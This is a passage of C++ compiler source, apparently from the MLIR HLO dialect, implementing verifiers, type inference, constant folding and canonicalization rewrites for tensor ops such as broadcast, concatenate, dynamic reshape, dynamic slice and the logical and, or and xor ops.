BroadcastInDimOp::fold(ArrayRef<Attribute> attrs) { auto type = getType().cast<RankedTensorType>(); if (type == getOperand().getType()) { auto broadcast_values = broadcast_dimensions().getValues<int64_t>(); if (!std::equal(broadcast_values.begin(), broadcast_values.end(), llvm::seq<int64_t>(0, type.getRank()).begin())) { return {}; } return getOperand(); } // Constant fold when an operand is a splat tensor attribute. if (!attrs[0] || !type.hasStaticShape()) return {}; auto splatOperandAttr = attrs[0].dyn_cast<SplatElementsAttr>(); if (!splatOperandAttr) return {}; // MLIR core bug (https://bugs.llvm.org/show_bug.cgi?id=46588): dense element // attribute iterator not implemented for complex element types. if (type.getElementType().isa<ComplexType>()) return {}; return SplatElementsAttr::get(type, splatOperandAttr.getSplatValue()); } //===----------------------------------------------------------------------===// // DynamicBroadcastInDimOp //===----------------------------------------------------------------------===// static LogicalResult Verify(DynamicBroadcastInDimOp op) { auto operandType = op.operand().getType().dyn_cast<RankedTensorType>(); auto resultType = op.getResult().getType().dyn_cast<RankedTensorType>(); // If either the operand or result are unranked, there is very little // to verify statically. if (!operandType || !resultType) { return success(); } auto outputDimensionsType = op.output_dimensions().getType().cast<RankedTensorType>(); auto outputDimensionsSize = outputDimensionsType.getDimSize(0); auto operandRank = operandType.getRank(); auto resultRank = resultType.getRank(); // Verify broadcast_dimensions. auto bcastDimensions = op.broadcast_dimensions(); auto bcastDimensionsType = op.broadcast_dimensions().getType(); auto bcastDimensionsRank = bcastDimensionsType.getRank(); // TODO(laurenzo): Update the BroadcastDimAttr to constrain its rank to 1. if (bcastDimensionsRank != 1) { return op.emitOpError( llvm::formatv("broadcast_dimensions has rank {0} instead of rank 1", bcastDimensionsRank)); } auto bcastDimensionsSize = bcastDimensionsType.getNumElements(); if (bcastDimensionsSize != operandRank) { return op.emitOpError(llvm::formatv( "broadcast_dimensions size ({0}) does not match operand rank ({1})", bcastDimensionsSize, operandRank)); } if (resultRank < operandRank) { return op.emitOpError( llvm::formatv("result rank ({0}) is less than operand rank ({1})", resultRank, operandRank)); } for (int i = 0; i != bcastDimensionsSize; ++i) { auto dimIndex = bcastDimensions.getValue<int64_t>(i); if (dimIndex >= resultRank) { return op.emitOpError( llvm::formatv("broadcast_dimensions contains invalid value {0} for " "result with rank {1}", dimIndex, resultRank)); } auto dimSize = operandType.getDimSize(i); auto resultDimSize = resultType.getDimSize(dimIndex); // Note: verifyCompatibleShapes doesn't consider size-1 broadcasting, so we // add a manual check for this. if (dimSize != 1 && failed(verifyCompatibleShape(dimSize, resultDimSize))) { return op.emitOpError( llvm::formatv("size of operand dimension {0} ({1}) is not compatible " "with size of result dimension {2} ({3})", i, dimSize, dimIndex, resultDimSize)); } } if (outputDimensionsSize != resultRank) { return op.emitOpError( llvm::formatv("result rank ({0}) is not equal to number of output " "dimensions ({1})", resultRank, outputDimensionsSize)); } return success(); } namespace { // If a DynamicBroadCastInDimOp is not actually dynamic, use an ordinary // BroadcastInDimOp. class DynamicBroadcastInDimOpNotActuallyDynamic : public OpRewritePattern<DynamicBroadcastInDimOp> { using OpRewritePattern::OpRewritePattern; LogicalResult matchAndRewrite(DynamicBroadcastInDimOp op, PatternRewriter& rewriter) const override { auto type = op.getType().dyn_cast<RankedTensorType>(); if (!type || !type.hasStaticShape()) { return rewriter.notifyMatchFailure(op, "requires static shape"); } rewriter.replaceOpWithNewOp<BroadcastInDimOp>( op, op.getType(), op.operand(), op.broadcast_dimensions()); return success(); } }; class ChainedDynamicBroadcastInDimCanonicalization : public OpRewritePattern<DynamicBroadcastInDimOp> { using OpRewritePattern::OpRewritePattern; LogicalResult matchAndRewrite(DynamicBroadcastInDimOp bcast, PatternRewriter& rewriter) const override { auto preceding_bcast = bcast.operand().getDefiningOp<DynamicBroadcastInDimOp>(); if (!preceding_bcast) return failure(); // Compose broadcast dimensions. DenseIntElementsAttr preceding_bcast_dims = preceding_bcast.broadcast_dimensions(); DenseIntElementsAttr bcast_dims = bcast.broadcast_dimensions(); SmallVector<APInt, 4> composition; for (APInt preceding_dim : preceding_bcast_dims) { auto composed_dim = bcast_dims.getValue({preceding_dim.getZExtValue()}) .cast<IntegerAttr>(); composition.push_back(composed_dim.getValue()); } auto composed_bcast_dims = DenseIntElementsAttr::get(preceding_bcast_dims.getType(), composition); rewriter.replaceOpWithNewOp<DynamicBroadcastInDimOp>( bcast, bcast.getType(), preceding_bcast.operand(), bcast.output_dimensions(), composed_bcast_dims); return success(); } }; } // namespace void DynamicBroadcastInDimOp::getCanonicalizationPatterns( OwningRewritePatternList& results, MLIRContext* context) { results.insert<ChainedDynamicBroadcastInDimCanonicalization, DynamicBroadcastInDimOpNotActuallyDynamic, DynamicBroadcastToOwnShape_1, DynamicBroadcastToOwnShape_2, DynamicBroadcastToOwnShape_3, DynamicBroadcastToOwnShape_4>( context); } LogicalResult DynamicBroadcastInDimOp::reifyReturnTypeShapes( OpBuilder& builder, ValueRange operands, SmallVectorImpl<Value>& reifiedReturnShapes) { DynamicBroadcastInDimOp::Adaptor adaptor(operands); reifiedReturnShapes.push_back( castToIndexTensor(builder, getLoc(), adaptor.output_dimensions())); return success(); } //===----------------------------------------------------------------------===// // ClampOp //===----------------------------------------------------------------------===// static LogicalResult Verify(ClampOp op) { auto operandType = op.operand().getType().cast<RankedTensorType>(); auto operandShape = operandType.getShape(); auto minType = op.min().getType().cast<RankedTensorType>(); auto minShape = minType.getShape(); if (minShape != operandShape && minType.getRank() != 0) { return op.emitOpError(llvm::formatv( "min shape [{0}] is not scalar and does not match operand shape [{1}]", llvm::make_range(minShape.begin(), minShape.end()), llvm::make_range(operandShape.begin(), operandShape.end()))); } auto maxType = op.max().getType().cast<RankedTensorType>(); auto maxShape = maxType.getShape(); if (maxShape != operandShape && maxType.getRank() != 0) { return op.emitOpError(llvm::formatv( "max shape [{0}] is not scalar and does not match operand shape [{1}]", llvm::make_range(maxShape.begin(), maxShape.end()), llvm::make_range(operandShape.begin(), operandShape.end()))); } return success(); } //===----------------------------------------------------------------------===// // ComplexOp //===----------------------------------------------------------------------===// LogicalResult ComplexOp::inferReturnTypes( MLIRContext*, Optional<Location>, ValueRange operands, DictionaryAttr, RegionRange, SmallVectorImpl<Type>& inferredReturnTypes) { auto type = operands[0].getType(); auto element_ty = ComplexType::get(getElementTypeOrSelf(type)); Type result_ty; if (auto ranked_type = type.dyn_cast<RankedTensorType>()) { result_ty = RankedTensorType::get(ranked_type.getShape(), element_ty); } else if (type.isa<UnrankedTensorType>()) { result_ty = UnrankedTensorType::get(element_ty); } else { result_ty = element_ty; } inferredReturnTypes.push_back(result_ty); return success(); } OpFoldResult ComplexOp::fold(ArrayRef<Attribute> operands) { auto real_op = getOperand(0).getDefiningOp<mhlo::RealOp>(); auto imag_op = getOperand(1).getDefiningOp<mhlo::ImagOp>(); if (real_op && imag_op && real_op.getOperand() == imag_op.getOperand()) { return real_op.getOperand(); } return {}; } //===----------------------------------------------------------------------===// // ImagOp //===----------------------------------------------------------------------===// namespace { Type CreateRealType(Type type) { auto element_ty = getElementTypeOrSelf(type); if (auto complex_ty = element_ty.dyn_cast<ComplexType>()) { element_ty = complex_ty.getElementType(); } if (auto ranked_type = type.dyn_cast<RankedTensorType>()) { return RankedTensorType::get(ranked_type.getShape(), element_ty); } else if (type.dyn_cast<UnrankedTensorType>()) { return UnrankedTensorType::get(element_ty); } return element_ty; } } // namespace LogicalResult ImagOp::inferReturnTypes( MLIRContext*, Optional<Location>, ValueRange operands, DictionaryAttr, RegionRange, SmallVectorImpl<Type>& inferredReturnTypes) { inferredReturnTypes.push_back(CreateRealType(operands[0].getType())); return success(); } OpFoldResult ImagOp::fold(ArrayRef<Attribute> operands) { if (auto complex_op = getOperand().getDefiningOp<mhlo::ComplexOp>()) { return complex_op.getOperand(1); } return {}; } //===----------------------------------------------------------------------===// // IsFiniteOp //===----------------------------------------------------------------------===// TensorType getSameShapeTensorType(TensorType tensor_type, Type element_type) { if (auto ranked_tensor_ty = tensor_type.dyn_cast<RankedTensorType>()) { return RankedTensorType::get(ranked_tensor_ty.getShape(), element_type); } if (auto unranked_tensor_ty = tensor_type.dyn_cast<UnrankedTensorType>()) { return UnrankedTensorType::get(element_type); } llvm_unreachable("unhandled type"); } LogicalResult IsFiniteOp::inferReturnTypes( MLIRContext* ctx, Optional<Location>, ValueRange operands, DictionaryAttr, RegionRange, SmallVectorImpl<Type>& inferredReturnTypes) { auto arg_ty = operands.front().getType().cast<TensorType>(); Builder b(ctx); inferredReturnTypes.push_back(getSameShapeTensorType(arg_ty, b.getI1Type())); return success(); } //===----------------------------------------------------------------------===// // RealOp //===----------------------------------------------------------------------===// LogicalResult RealOp::inferReturnTypes( MLIRContext*, Optional<Location>, ValueRange operands, DictionaryAttr, RegionRange, SmallVectorImpl<Type>& inferredReturnTypes) { inferredReturnTypes.push_back(CreateRealType(operands[0].getType())); return success(); } OpFoldResult RealOp::fold(ArrayRef<Attribute> operands) { if (auto complex_op = getOperand().getDefiningOp<mhlo::ComplexOp>()) { return complex_op.getOperand(0); } return {}; } //===----------------------------------------------------------------------===// // ConcatenateOp //===----------------------------------------------------------------------===// namespace { class ConcatenateOperandRemoval : public OpRewritePattern<ConcatenateOp> { public: using OpRewritePattern::OpRewritePattern; LogicalResult matchAndRewrite(ConcatenateOp op, PatternRewriter& rewriter) const override { auto axis = op.dimension(); llvm::SmallVector<Value, 6> new_operands; for (auto operand : op.getOperands()) { auto ty = operand.getType().cast<ShapedType>(); if (ty.getDimSize(axis) != 0) { new_operands.push_back(operand); } } if (!new_operands.empty() && new_operands.size() < op.getNumOperands()) { rewriter.replaceOpWithNewOp<ConcatenateOp>(op, op.getResult().getType(), new_operands, op.dimension()); return success(); } return failure(); } }; class ConcatenateForwarding : public OpRewritePattern<ConcatenateOp> { using OpRewritePattern::OpRewritePattern; LogicalResult matchAndRewrite(ConcatenateOp op, PatternRewriter& rewriter) const override { auto getFlattenedOperands = [&](const Value& val) -> ValueRange { auto definingOp = dyn_cast_or_null<ConcatenateOp>(val.getDefiningOp()); // To avoid inflate the memory footprint, only flatten the ConcatenateOp // when it has only one use. if (definingOp && definingOp->hasOneUse() && definingOp.dimension() == op.dimension()) return definingOp.val(); return val; }; bool needToFlatten = false; int operandCount = 0; llvm::for_each(op.val(), [&](Value val) { auto result = getFlattenedOperands(val); if (result.size() != 1 || result[0] != val) needToFlatten = true; operandCount += result.size(); }); if (!needToFlatten) return failure(); llvm::SmallVector<Value, 6> newOperands; newOperands.reserve(operandCount); for (auto operand : op.val()) { auto flattenedOperands = getFlattenedOperands(operand); newOperands.append(flattenedOperands.begin(), flattenedOperands.end()); } rewriter.replaceOpWithNewOp<ConcatenateOp>(op, op.getResult().getType(), newOperands, op.dimension()); return success(); } }; } // namespace LogicalResult ConcatenateOp::inferReturnTypes( MLIRContext*, Optional<Location> location, ValueRange operands, DictionaryAttr attributes, RegionRange regions, SmallVectorImpl<Type>& inferredReturnTypes) { if (operands.empty()) { return failure(); } auto dimension_attr = attributes.get("dimension").cast<IntegerAttr>(); auto dimension = dimension_attr.getInt(); auto first_type = (*operands.begin()).getType().cast<ShapedType>(); auto out_element = first_type.getElementType(); for (auto operand : operands.getTypes()) { auto element_type = getElementTypeOrSelf(operand); if (element_type != out_element) { return failure(); } } // Find the first ranked input to determine the output rank. for (auto type : operands.getTypes()) { auto shaped_type = type.cast<ShapedType>(); if (shaped_type.hasRank()) { first_type = shaped_type; break; } } // If all inputs are unranked, the result must be unranked. if (!first_type.hasRank()) { inferredReturnTypes.push_back(UnrankedTensorType::get(out_element)); return success(); } if (first_type.getRank() == 0) return emitOptionalError(location, "rank-0 values cannot be concatenated"); auto out_shape = llvm::to_vector<6>(first_type.getShape()); // Determine what the non-concatenate dimensions should be. for (auto type : operands.getTypes()) { auto shaped_ty = type.cast<ShapedType>(); if (!shaped_ty.hasRank()) { continue; } for (auto it : llvm::enumerate(shaped_ty.getShape())) { // If a dimension is not dynamic, the output shape should match. if (ShapedType::isDynamic(out_shape[it.index()])) { out_shape[it.index()] = it.value(); } } } out_shape[dimension] = 0; for (auto operand : operands.getTypes()) { auto type = operand.cast<ShapedType>(); if (!type.hasRank()) { inferredReturnTypes.push_back(UnrankedTensorType::get(out_element)); return success(); } // If the dimension is dynamic we know the output dimension is dynamic. auto dim = type.getShape()[dimension]; if (dim == -1) { out_shape[dimension] = -1; break; } out_shape[dimension] += dim; } inferredReturnTypes.push_back(RankedTensorType::get(out_shape, out_element)); return success(); } void ConcatenateOp::getCanonicalizationPatterns( OwningRewritePatternList& results, MLIRContext* context) { results.insert<ConcatenateOperandRemoval, ConcatenateForwarding>(context); } template <typename T> static Attribute foldConcatenateHelper(ConcatenateOp* op, ArrayRef<Attribute> operands) { auto axis = op->dimension(); auto type = op->getType().cast<ShapedType>(); SmallVector<T, 6> values; auto shape = type.getShape(); size_t top_size = 1; for (int i = 0, e = axis; i < e; i++) { top_size = top_size * shape[i]; } for (size_t i = 0; i < top_size; i++) { for (auto operand : operands) { DenseElementsAttr attr = operand.cast<DenseElementsAttr>(); size_t bottom_size = attr.getNumElements() / top_size; auto iter = attr.getValues<T>().begin() + i * bottom_size; values.append(iter, iter + bottom_size); } } return DenseElementsAttr::get(type, values); } static Attribute foldConcatenate(ConcatenateOp* op, ArrayRef<Attribute> operands) { for (auto operand : operands) { if (!operand) return {}; } auto type = op->getResult().getType().cast<ShapedType>(); auto etype = type.getElementType(); if (etype.isa<IntegerType>()) { return foldConcatenateHelper<APInt>(op, operands); } if (etype.isa<FloatType>()) { return foldConcatenateHelper<APFloat>(op, operands); } return {}; } OpFoldResult ConcatenateOp::fold(ArrayRef<Attribute> operands) { if (getNumOperands() == 1) return getOperand(0); ShapedType type = getResult().getType().cast<ShapedType>(); if (!type.hasStaticShape()) return {}; auto axis = dimension(); if (auto attr = foldConcatenate(this, operands)) { return attr; } llvm::SmallVector<Value, 6> new_operands; for (auto operand : getOperands()) { auto ty = operand.getType().cast<ShapedType>(); if (ty.getDimSize(axis) != 0) { return {}; } } return DenseElementsAttr::get(type, ArrayRef<Attribute>()); } static LogicalResult Verify(ConcatenateOp op) { Type element_type = getElementTypeOrSelf(op.getOperand(0).getType()); RankedTensorType first_ranked_type; int num_operands = op.getNumOperands(); for (int i = 0; i < num_operands; i++) { auto second_type = op.getOperand(i).getType().dyn_cast<ShapedType>(); if (second_type.getElementType() != element_type) { return op.emitOpError( llvm::formatv("operands (0) and ({0}) do not match element type", i)); } if (!second_type.hasRank()) { continue; } if (!first_ranked_type) { first_ranked_type = second_type.cast<RankedTensorType>(); continue; } if (first_ranked_type.getRank() != second_type.getRank()) { return op.emitOpError( llvm::formatv("operands (0) and ({0}) do not match rank", i)); } auto first_shape = second_type.getShape(); auto second_shape = second_type.getShape(); for (int d = 0; d < first_ranked_type.getRank(); ++d) { if (first_shape[d] != second_shape[d] && d != op.dimension()) { return op.emitOpError(llvm::formatv( "operands (0) and ({0}) non-concat dimensions do not match " "({1}) != ({2})", i, llvm::make_range(first_shape.begin(), first_shape.end()), llvm::make_range(second_shape.begin(), second_shape.end()))); } } } return success(); } LogicalResult ConcatenateOp::reifyReturnTypeShapes( OpBuilder& builder, ValueRange operands, SmallVectorImpl<Value>& reifiedReturnShapes) { ConcatenateOp::Adaptor adaptor(operands); auto inputs = adaptor.val(); auto operand_type = inputs[0].getType().dyn_cast<RankedTensorType>(); // Not support unranked type a.t.m. if (!operand_type) return failure(); Location loc = this->getLoc(); Type shape_scalar_type = builder.getIndexType(); auto to_shape_scalar_type = [&](Value v) { return MaybeCastTo(builder, loc, v, shape_scalar_type); }; SmallVector<SmallVector<Value, 4>, 4> all_shape_values; for (size_t input_id = 0; input_id < inputs.size(); ++input_id) { Value operand = inputs[input_id]; auto operand_type = operand.getType().dyn_cast<RankedTensorType>(); if (!operand_type) return failure(); SmallVector<Value, 4> shape_vals; for (const auto& element : llvm::enumerate(operand_type.getShape())) { Value value_dim = to_shape_scalar_type( builder.create<tensor::DimOp>(loc, operand, element.index())); shape_vals.push_back(value_dim); } all_shape_values.emplace_back(std::move(shape_vals)); } int axis = this->dimension(); auto& shape_values = all_shape_values[0]; for (size_t vec_id = 1; vec_id < all_shape_values.size(); ++vec_id) { auto& other_shape_values = all_shape_values[vec_id]; if (other_shape_values.size() != shape_values.size()) { this->emitOpError() << "Concatenate expects all operands must be of the same rank"; return failure(); } shape_values[axis] = builder.create<AddIOp>(loc, shape_values[axis], other_shape_values[axis]); } Value output_shape = builder.create<tensor::FromElementsOp>( loc, shape_scalar_type, shape_values); reifiedReturnShapes.push_back(output_shape); return success(); } //===----------------------------------------------------------------------===// // DynamicReshapeOp //===----------------------------------------------------------------------===// static LogicalResult Verify(DynamicReshapeOp op) { auto result_type = op.result().getType().dyn_cast<RankedTensorType>(); auto output_shape_type = op.output_shape().getType().dyn_cast<RankedTensorType>(); if (result_type && output_shape_type && output_shape_type.hasStaticShape() && output_shape_type.getDimSize(0) != result_type.getRank()) { return op.emitError() << "output should have a rank equal to the number of " "elements in output_shape"; } return success(); } LogicalResult DynamicReshapeOp::reifyReturnTypeShapes( OpBuilder& builder, ValueRange operands, SmallVectorImpl<Value>& reifiedReturnShapes) { DynamicReshapeOp::Adaptor adaptor(operands); reifiedReturnShapes.push_back( castToIndexTensor(builder, getLoc(), adaptor.output_shape())); return success(); } namespace { class DynamicReshapeOpNotActuallyDynamic : public OpRewritePattern<DynamicReshapeOp> { public: using OpRewritePattern::OpRewritePattern; LogicalResult matchAndRewrite(DynamicReshapeOp op, PatternRewriter& rewriter) const override { auto type = op.result().getType().dyn_cast<RankedTensorType>(); if (!type || !type.hasStaticShape()) { return rewriter.notifyMatchFailure(op, "requires static shape tensor"); } rewriter.replaceOpWithNewOp<ReshapeOp>(op, op.getType(), op.operand()); return success(); } }; // Canonicalizes // %0 = some_op(%tensor) // %1 = "mhlo.dynamic_reshape"(%0, %shape) // (tensor<?xT>, tensor<1xindex>) -> tensor<?xT> // ... uses of %1. // // into // // ... uses of %0. // This canonicalization is only correct if the input is correct! // TODO(b/178779691): Use a more sophisticated canonicalization that preserves // errors in input, and still allows us to get rid of redundant reshapes. class RemoveRedundantRank1DynamicReshape : public OpRewritePattern<DynamicReshapeOp> { public: using OpRewritePattern::OpRewritePattern; LogicalResult matchAndRewrite(DynamicReshapeOp op, PatternRewriter& rewriter) const override { auto type = op.result().getType().dyn_cast<RankedTensorType>(); if (!type || type.getRank() != 1 || type.hasStaticShape()) { return rewriter.notifyMatchFailure( op, "requires rank 1 shape tensor with dynamic dimension"); } auto operand_type = op.operand().getType().dyn_cast<RankedTensorType>(); if (!operand_type || operand_type.getRank() != 1 || operand_type.hasStaticShape()) { return rewriter.notifyMatchFailure( op, "requires rank 1 shape tensor with dynamic dimension"); } rewriter.replaceOp(op, {op.operand()}); return success(); } }; // Canonicalizes // %0 = "mhlo.dynamic_reshape"(%tensor, %shape) // %1 = same_operands_and_result_shape_op(%tensor) // %2 = "mhlo.dynamic_reshape"(%1, %shape) // ... uses of %2. // // into // // %0 = "mhlo.dynamic_reshape"(%tensor, %shape) // %1 = same_operands_and_result_shape_op(%tensor) // ... uses of %1. class DynamicReshapeOpSameShapeOpResult : public OpRewritePattern<DynamicReshapeOp> { public: using OpRewritePattern::OpRewritePattern; LogicalResult matchAndRewrite(DynamicReshapeOp op, PatternRewriter& rewriter) const override { Operation* def_op = op.operand().getDefiningOp(); if (!def_op || !def_op->hasTrait<mlir::OpTrait::SameOperandsAndResultShape>()) { return failure(); } Operation* input_def_op = def_op->getOperand(0).getDefiningOp(); if (!input_def_op) { return failure(); } auto reshape = dyn_cast<DynamicReshapeOp>(*input_def_op); if (reshape && reshape.output_shape() == op.output_shape()) { rewriter.replaceOp(op, {def_op->getResult(0)}); return success(); } return failure(); } }; } // namespace void DynamicReshapeOp::getCanonicalizationPatterns( OwningRewritePatternList& results, MLIRContext* context) { // clang-format off results.insert< DynamicReshapeOpNotActuallyDynamic, DynamicReshapeOpSameShapeOpResult, RemoveRedundantDynamicBroadcast, RemoveRedundantDynamicReshape, RemoveRedundantRank1DynamicReshape, ShapeOfDynamicReshape >(context); // clang-format on } //===----------------------------------------------------------------------===// // DynamicSliceOp //===----------------------------------------------------------------------===// namespace { // Canonicalizes DynamicSlice ops that can be replaced instead with Slice ops. // This canonicalization is applied the case when the `begin` input values are // compile time constants and thus can be made into a tensor. struct DynamicSliceToSlice : public OpRewritePattern<DynamicSliceOp> { using OpRewritePattern<DynamicSliceOp>::OpRewritePattern; LogicalResult matchAndRewrite(DynamicSliceOp dynamic_slice, PatternRewriter& rewriter) const override { Value input = dynamic_slice.operand(); auto input_tensor = input.getType().dyn_cast<RankedTensorType>(); if (!input_tensor) return failure(); SmallVector<int64_t, 4> temp_start_indices; for (Value start : dynamic_slice.start_indices()) { APInt val; if (!matchPattern(start, m_ConstantInt(&val))) { return failure(); } temp_start_indices.push_back(*(val.getRawData())); } // At this point we've determined that the start indices are all constants; // pack them into a single tensor. auto loc = dynamic_slice.getLoc(); int64_t input_rank = input_tensor.getRank(); auto slice_start_indices = GetI64ElementsAttr(temp_start_indices, &rewriter); DenseIntElementsAttr slice_limits = BuildSliceLimits( slice_start_indices, dynamic_slice.slice_sizes(), &rewriter); DenseIntElementsAttr slice_strides = GetI64ElementsAttr(SmallVector<int64_t, 4>(input_rank, 1), &rewriter); auto result = rewriter.create<SliceOp>(loc, input, slice_start_indices, slice_limits, slice_strides); rewriter.replaceOp(dynamic_slice, {result}); return success(); } }; } // namespace void DynamicSliceOp::getCanonicalizationPatterns( OwningRewritePatternList& results, MLIRContext* context) { results.insert<DynamicSliceToSlice>(context); } // Verifies that the number of slice sizes and the number of start indices match static LogicalResult Verify(DynamicSliceOp op) { int num_slice_sizes = op.slice_sizes().getNumElements(); int num_start_indices = op.start_indices().size(); if (num_start_indices != num_slice_sizes) { return op.emitOpError() << "has mismatched number of slice sizes (" << num_slice_sizes << ") and number of start indices (" << num_start_indices << ")"; } return success(); } //===----------------------------------------------------------------------===// // RealDynamicSliceOp //===----------------------------------------------------------------------===// // Verifies that operand rank matches start_indices/limit_indices/strides size static LogicalResult Verify(RealDynamicSliceOp op) { auto input_type = op.operand().getType().dyn_cast<RankedTensorType>(); // If operand is unranked, there is very little to verify statically. if (!input_type) return success(); int input_rank = input_type.getRank(); auto start_type = op.start_indices().getType().cast<RankedTensorType>(); auto limit_type = op.limit_indices().getType().cast<RankedTensorType>(); auto strides_type = op.strides().getType().cast<RankedTensorType>(); if (input_rank != start_type.getNumElements()) { return op.emitOpError() << "has mismatched number of operand rank (" << input_rank << ") and start_indices size (" << start_type.getNumElements() << ")"; } if (input_rank != limit_type.getNumElements()) { return op.emitOpError() << "has mismatched number of operand rank (" << input_rank << ") and limit_indices size (" << limit_type.getNumElements() << ")"; } if (input_rank != strides_type.getNumElements()) { return op.emitOpError() << "has mismatched number of operand rank (" << input_rank << ") and strides size (" << strides_type.getNumElements() << ")"; } return success(); } namespace { // Canonicalizes RealDynamicSlice ops that can be replaced instead with Slice // ops. This canonicalization is applied the case when the `begin` input values // are compile time constants and thus can be made into a tensor. struct RealDynamicSliceIsStatic : public OpRewritePattern<RealDynamicSliceOp> { using OpRewritePattern<RealDynamicSliceOp>::OpRewritePattern; LogicalResult matchAndRewrite(RealDynamicSliceOp real_dynamic_slice, PatternRewriter& rewriter) const override { Location loc = real_dynamic_slice.getLoc(); Value input = real_dynamic_slice.operand(); Value output = real_dynamic_slice.result(); auto input_ty = input.getType().dyn_cast<RankedTensorType>(); auto output_ty = output.getType().dyn_cast<RankedTensorType>(); if (!input_ty || !output_ty || !input_ty.hasStaticShape() || !output_ty.hasStaticShape()) { return failure(); } int64_t input_rank = input_ty.getRank(); auto start_val = real_dynamic_slice.start_indices(); auto limit_val = real_dynamic_slice.limit_indices(); auto stride_val = real_dynamic_slice.strides(); auto start_op = start_val.getDefiningOp<mlir::ConstantOp>(); auto limit_op = limit_val.getDefiningOp<mlir::ConstantOp>(); auto stride_op = stride_val.getDefiningOp<mlir::ConstantOp>(); if (!start_op || !limit_op || !stride_op) return failure(); auto start_attr = start_op.getValue().dyn_cast_or_null<DenseIntElementsAttr>(); auto limit_attr = limit_op.getValue().dyn_cast_or_null<DenseIntElementsAttr>(); auto stride_attr = stride_op.getValue().dyn_cast_or_null<DenseIntElementsAttr>(); if (!start_attr || !limit_attr || !stride_attr) return failure(); SmallVector<int64_t, 4> temp_start_indices; SmallVector<int64_t, 4> temp_limit_indices; SmallVector<int64_t, 4> temp_stride; for (int64_t dim_idx = 0; dim_idx < input_rank; dim_idx++) { int64_t start = start_attr.getValue<IntegerAttr>(dim_idx).getInt(); temp_start_indices.push_back(start); int64_t limit = limit_attr.getValue<IntegerAttr>(dim_idx).getInt(); temp_limit_indices.push_back(limit); int64_t end = stride_attr.getValue<IntegerAttr>(dim_idx).getInt(); temp_stride.push_back(end); } DenseIntElementsAttr slice_start_indices = GetI64ElementsAttr(temp_start_indices, &rewriter); DenseIntElementsAttr slice_limit_indices = GetI64ElementsAttr(temp_limit_indices, &rewriter); DenseIntElementsAttr slice_strides = GetI64ElementsAttr(temp_stride, &rewriter); auto result = rewriter.create<SliceOp>(loc, input, slice_start_indices, slice_limit_indices, slice_strides); rewriter.replaceOp(real_dynamic_slice, {result}); return success(); } }; } // namespace void RealDynamicSliceOp::getCanonicalizationPatterns( OwningRewritePatternList& results, MLIRContext* context) { results.insert<RealDynamicSliceIsStatic, RealDSliceToSlice>(context); } LogicalResult RealDynamicSliceOp::reifyReturnTypeShapes( OpBuilder& builder, ValueRange operands, SmallVectorImpl<Value>& reifiedReturnShapes) { RealDynamicSliceOp::Adaptor adaptor(operands); Value operand = adaptor.operand(); Value start_indices = adaptor.start_indices(); Value limit_indices = adaptor.limit_indices(); Value strides = adaptor.strides(); auto operand_type = operand.getType().dyn_cast<RankedTensorType>(); // Not support unranked type a.t.m. if (!operand_type) return failure(); Location loc = this->getLoc(); SmallVector<Value, 4> shape_values; shape_values.reserve(operand_type.getRank()); Type shape_scalar_type = start_indices.getType().cast<ShapedType>().getElementType(); Value one = builder.create<ConstantIndexOp>(loc, 1); one = MaybeCastTo(builder, loc, one, shape_scalar_type); for (const auto& element : llvm::enumerate(operand_type.getShape())) { Value offset = builder.create<ConstantIndexOp>(loc, element.index()); Value value_start = builder.create<tensor::ExtractOp>(loc, start_indices, offset); Value value_limit = builder.create<tensor::ExtractOp>(loc, limit_indices, offset); Value value_stride = builder.create<tensor::ExtractOp>(loc, strides, offset); // size = (limit - start + stride - 1) / stride shape_values.push_back(builder.create<SignedDivIOp>( loc, builder.create<SubIOp>( loc, builder.create<AddIOp>( loc, value_stride, builder.create<SubIOp>(loc, value_limit, value_start)), one), value_stride)); } reifiedReturnShapes.push_back(builder.create<tensor::FromElementsOp>( loc, shape_scalar_type, shape_values)); return success(); } //===----------------------------------------------------------------------===// // InfeedOp //===----------------------------------------------------------------------===// // Checks that the result type is of the form `tuple< any_type, token >`. static LogicalResult Verify(InfeedOp op) { auto result_ty = op.getResult().getType().cast<TupleType>(); auto subtypes = result_ty.getTypes(); if (subtypes.size() != 2) return op.emitOpError() << "result is expected to be a tuple of size 2, but got " << subtypes.size(); if (!subtypes[1].isa<TokenType>()) return op.emitOpError() << "second element of result tuple is expected to " "be of token type, but got " << subtypes[1]; return success(); } //===----------------------------------------------------------------------===// // Logical Ops //===----------------------------------------------------------------------===// OpFoldResult AndOp::fold(ArrayRef<Attribute> operands) { if (lhs() == rhs()) return lhs(); auto rType = getType().cast<ShapedType>(); auto lhsVal = operands[0].dyn_cast_or_null<DenseElementsAttr>(); auto rhsVal = operands[1].dyn_cast_or_null<DenseElementsAttr>(); if (lhsVal && lhsVal.isSplat()) { if (lhsVal.getSplatValue() .cast<IntegerAttr>() .getValue() .isAllOnesValue()) { return rhs(); } if (lhsVal.getSplatValue().cast<IntegerAttr>().getValue().isNullValue()) { return lhsVal; } } if (rhsVal && rhsVal.isSplat()) { if (rhsVal.getSplatValue() .cast<IntegerAttr>() .getValue() .isAllOnesValue()) { return lhs(); } if (rhsVal.getSplatValue().cast<IntegerAttr>().getValue().isNullValue()) { return rhsVal; } } if (!rhsVal || !lhsVal) return {}; llvm::SmallVector<APInt, 4> values; values.reserve(rhsVal.getNumElements()); for (auto it : llvm::zip(rhsVal.getIntValues(), lhsVal.getIntValues())) { values.push_back(std::get<0>(it) & std::get<1>(it)); } return DenseIntElementsAttr::get(rType, values); } OpFoldResult OrOp::fold(ArrayRef<Attribute> operands) { if (lhs() == rhs()) return lhs(); auto rType = getType().cast<ShapedType>(); auto lhsVal = operands[0].dyn_cast_or_null<DenseElementsAttr>(); auto rhsVal = operands[1].dyn_cast_or_null<DenseElementsAttr>(); if (lhsVal && lhsVal.isSplat()) { if (lhsVal.getSplatValue() .cast<IntegerAttr>() .getValue() .isAllOnesValue()) { return lhsVal; } if (lhsVal.getSplatValue().cast<IntegerAttr>().getValue().isNullValue()) { return rhs(); } } if (rhsVal && rhsVal.isSplat()) { if (rhsVal.getSplatValue() .cast<IntegerAttr>() .getValue() .isAllOnesValue()) { return rhsVal; } if (rhsVal.getSplatValue().cast<IntegerAttr>().getValue().isNullValue()) { return lhs(); } } if (!rhsVal || !lhsVal) return {}; llvm::SmallVector<APInt, 4> values; values.reserve(rhsVal.getNumElements()); for (auto it : llvm::zip(rhsVal.getIntValues(), lhsVal.getIntValues())) { values.push_back(std::get<0>(it) | std::get<1>(it)); } return DenseIntElementsAttr::get(rType, values); } OpFoldResult XorOp::fold(ArrayRef<Attribute> operands) { auto rType = getType().cast<ShapedType>(); if (lhs() == rhs()) { Builder builder(getContext()); return builder.getZeroAttr(rType); } auto lhsVal = 